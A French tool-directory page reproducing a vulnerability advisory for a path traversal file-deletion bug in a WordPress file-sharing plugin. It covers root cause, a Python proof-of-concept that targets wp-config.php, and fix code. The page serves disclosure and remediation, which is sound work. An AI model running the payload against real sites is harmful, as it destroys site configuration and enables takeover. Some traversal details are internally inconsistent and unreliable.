Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-12513 — Avis technique et preuve de concept pour CVE-2026-12513, une suppression arbitraire de fichiers non authentifiée via un traversement de chemin dans le plugin WordPress Shared Files, incluant l'analyse de la cause racine et des recommandations de remédiation. | Kitploit
Outils/GitHubGitHub/minhhk68/cve-2026-12513
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

Avis technique et preuve de concept pour CVE-2026-12513, une suppression arbitraire de fichiers non authentifiée via un traversement de chemin dans le plugin WordPress Shared Files, incluant l'analyse de la cause racine et des recommandations de remédiation.

Voir le dépôt
il y a 8h 31mPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-12513 : Shared Files < 1.7.68 — Suppression arbitraire de fichiers non authentifiée via traversée de chemin

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 Aperçu de l'avis

CVE-2026-12513 est une vulnérabilité de suppression arbitraire de fichiers non authentifiée via traversée de chemin affectant les plugins WordPress Shared Files et Shared Files Pro avant la version 1.7.68, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La faille se produit dans les routines de traitement des soumissions de fichiers côté frontend du plugin, où les chemins de fichiers fournis par l'utilisateur sont filtrés à l'aide d'un remplacement de motif de traversée en un seul passage, défectueux, qui peut être contourné à l'aide de séquences imbriquées (telles que ). Par conséquent, un attaquant distant non authentifié peut soumettre un chemin manipulé pointant en dehors du répertoire de téléversement prévu pour cibler des actifs serveur critiques, notamment . Lorsqu'un administrateur purge ou supprime définitivement l'entrée téléversée, l'application invoque des primitives de suppression du système de fichiers () sur le chemin arbitraire stocké. Cela entraîne la destruction des fichiers de configuration principaux de WordPress, provoquant un déni de service sévère et permettant la prise de contrôle du site via l'installation non configurée. Le chercheur principal Huynh Kien Minh a évalué cette vulnérabilité avec un score CVSS 3.1 de 6,8 (Moyen) (CWE-73 / CWE-22), recommandant des mises à jour immédiates des plugins vers la version 1.7.68 ou ultérieure et une validation robuste des chemins canoniques.

....//
wp-config.php
unlink()

Liens rapides : Explorez le Portfolio Cybersécurité officiel du chercheur ou consultez l'Avis vérifié WPScan.


📌 Résumé exécutif et métadonnées techniques

ParamètreSpécification technique
Identifiant de vulnérabilitéCVE-2026-12513
Logiciel cibleShared Files / Shared Files Pro (Plugins WordPress)
Slugs des pluginsshared-files, shared-files-pro
Versions vulnérables< 1.7.68
Version corrigée>= 1.7.68
Classe de vulnérabilitéContrôle externe du nom ou du chemin de fichier / Traversée de chemin (CWE-73 / CWE-22)
Score CVSS v3.16,8 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Découvreur / ChercheurHuynh Kien Minh (MinhHK)
Autorité de vérificationWPScan / MITRE Corporation
Référence d'avis WPScanRapport WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
Portfolio du chercheurhttps://minhhk.web.app/

🔍 Analyse technique approfondie et analyse des causes racines

La vulnérabilité est ancrée dans un mécanisme inadéquat d'assainissement des chemins implémenté dans les gestionnaires de soumission de fichiers côté frontend dans Shared Files (< 1.7.68).

1. Assainissement inadéquat des chemins en un seul passage

Lors de l'acceptation des soumissions de fichiers côté frontend, le plugin tentait de supprimer les séquences de traversée de répertoire (../) à l'aide d'un remplacement de chaîne en un seul passage :

root@kitploit:~
// Filtre d'assainissement en un seul passage non sécurisé dans Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

Parce que str_replace() s'exécute une seule fois de gauche à droite :

  • Charge utile de traversée imbriquée : ....//....//....//wp-config.php
  • Lorsque ../ est supprimé une fois de ....//, les caractères externes se replient ensemble pour former ../ :
    • ....// -> ../
  • Le chemin assaini résultant est évalué comme : ../../../../wp-config.php !

2. Chemin de fichier stocké et chaîne d'exécution de suppression

  1. Soumission non authentifiée : L'attaquant envoie une requête HTTP au point de terminaison de téléversement frontend fournissant le chemin de traversée imbriqué. Le chemin manipulé est stocké dans la base de données (par exemple dans wp_posts ou une table personnalisée du plugin).
  2. Déclenchement de la suppression permanente : Lorsqu'un administrateur examine les soumissions ou supprime l'enregistrement du fichier via /wp-admin/admin.php?page=shared-files, le backend appelle unlink() sur le chemin stocké résolu :
root@kitploit:~
// Logique de suppression vulnérable
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Déclenche la suppression du fichier cible (par ex. /var/www/html/wp-config.php)
}
  1. Impact catastrophique : Une fois wp-config.php supprimé :
    • Les identifiants de base de données et les clés de sécurité sont perdus.
    • Le site entre immédiatement dans un état non configuré, présentant l'assistant d'installation WordPress (/wp-admin/install.php).
    • L'attaquant peut compléter l'assistant d'installation avec une nouvelle base de données, obtenant une exécution de code à distance (RCE) complète et une prise de contrôle du site.

💻 Code d'exploit Proof-of-Concept (PoC)

Avertissement éthique : Ce Proof-of-Concept est fourni strictement pour la recherche éducative, la validation défensive et l'audit de sécurité dans le cadre de protocoles de divulgation éthique par Huynh Kien Minh.

Exploit Python PoC (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")
    
    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ Remédiation et analyse du correctif

Pour les administrateurs de sites

  • Mettez à jour immédiatement les plugins Shared Files et Shared Files Pro vers la version 1.7.68 ou supérieure.
  • Assurez-vous que les permissions du système de fichiers sur wp-config.php sont en lecture seule (chmod 400 ou 440) pour le processus du serveur web.

Pour les développeurs (l'implémentation sécurisée)

Appliquez une résolution stricte des chemins canoniques à l'aide de realpath() et wp_normalize_path() pour garantir que les opérations restent dans la limite du répertoire de téléversement désigné :

root@kitploit:~
// Modèle de validation de chemin sécurisé (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Ensure the resolved realpath strictly starts with the designated base directory
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 À propos du chercheur

Huynh Kien Minh (MinhHK) est un chercheur en sécurité de l'information spécialisé dans la recherche de vulnérabilités WordPress, les audits de sécurité du noyau et des plugins, et la modélisation défensive des exploits.

  • Portfolio Cybersécurité : https://minhhk.web.app/
  • Référence d'avis WPScan : Rapport WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
  • Profil GitHub : https://github.com/MinhHK68

📊 Balisage de schéma de données structurées JSON-LD

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
Télécharger l’outil